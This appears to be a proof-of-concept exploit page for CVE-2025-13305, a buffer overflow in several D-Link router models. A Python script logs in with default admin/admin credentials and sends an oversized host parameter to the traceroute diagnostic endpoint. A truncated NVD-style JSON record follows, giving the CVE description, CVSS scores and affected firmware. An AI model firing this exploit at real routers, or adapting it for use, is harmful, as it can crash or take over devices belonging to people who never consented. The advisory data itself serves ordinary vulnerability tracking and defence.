CVE-2025-13305

import requests # CVE-2025-13305 PoC - D-Link Router formTracerouteDiagnosticRun Buffer Overflow # Target: D-Link DWR-M920, DWR-M921, DWR-M960, DIR-822K, DIR-825M (Firmware 1.01.07) TARGET_IP = "192.168.1.1" # Router IP address TARGET_PORT = 80 LOGIN_URL = f"http://{TARGET_IP}:{TARGET_PORT}/login.cgi" EXPLOIT_URL = f"http://{TARGET_IP}:{TARGET_PORT}/boafrm/formTracerouteDiagnosticRun" def exploit_buffer_overflow(): """ Exploit for CVE-2025-13305 Buffer overflow in formTracerouteDiagnosticRun via host parameter """ # Login first - default credentials often work login_data = { "username": "admin", "password": "admin" } session = requests.Session() try: # Attempt login session.post(LOGIN_URL, data=login_data, timeout=10) # Buffer overflow payload - oversized host parameter # This causes buffer overflow in the host parameter handling overflow_payload = "A" * 1000 # Large string to trigger overflow exploit_data = { "host": overflow_payload, "submit": "Start Diagnostic" } print(f"[*] Sending exploit payload to {EXPLOIT_URL}") print(f"[*] Payload length: {len(overflow_payload)}") # Send exploit request response = session.post(EXPLOIT_URL, data=exploit_data, timeout=10) print(f"[+] Exploit sent. Status code: {response.status_code}") print(f"[*] Response length: {len(response.content)}") return True except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-13305 PoC - D-Link Router Buffer Overflow") print("=" * 60) exploit_buffer_overflow()

{"cve": {"id": "CVE-2025-13305", "sourceIdentifier": "[email protected]", "published": "2025-11-17T23:15:49.183", "lastModified": "2025-12-08T14:35:13.063", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in D-Link DWR-M920, DWR-M921, DWR-M960, DIR-822K and DIR-825M 1.01.07. This issue affects some unknown processing of the file /boafrm/formTracerouteDiagnosticRun. Executing manipulation of the argument host can lead to buffer overflow. The attack may be launched remotely. The exploit has been made available to the public and could be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "baseScore": 9.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "availabilityImpact": "COMPLETE"}, "baseSeverity": "HIGH", "exploitabilityScore": 8.0, "impactScore": 10.0, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-120"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-120"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dir-825m_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "BCF53E63-DA11-4E47-B8AB-25AC02AE05EE"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dir-825m:-:*:*:*:*:*:*:*", "matchCriteriaId": "1B727E66-E5B3-44BA-89ED-F489D1E779A0"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m920_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "CF5AD947-3F77-4254-A3D5-75895904336A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:dlink:dwr-m920:-:*:*:*:*:*:*:*", "matchCriteriaId": "E815EF72-10FC-43A4-84A7-A25ABE7A4640"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dlink:dwr-m921_firmware:1.01.07:*:*:*:*:*:*:*", "matchCriteriaId": "D65B00A2-C6 ... (truncated)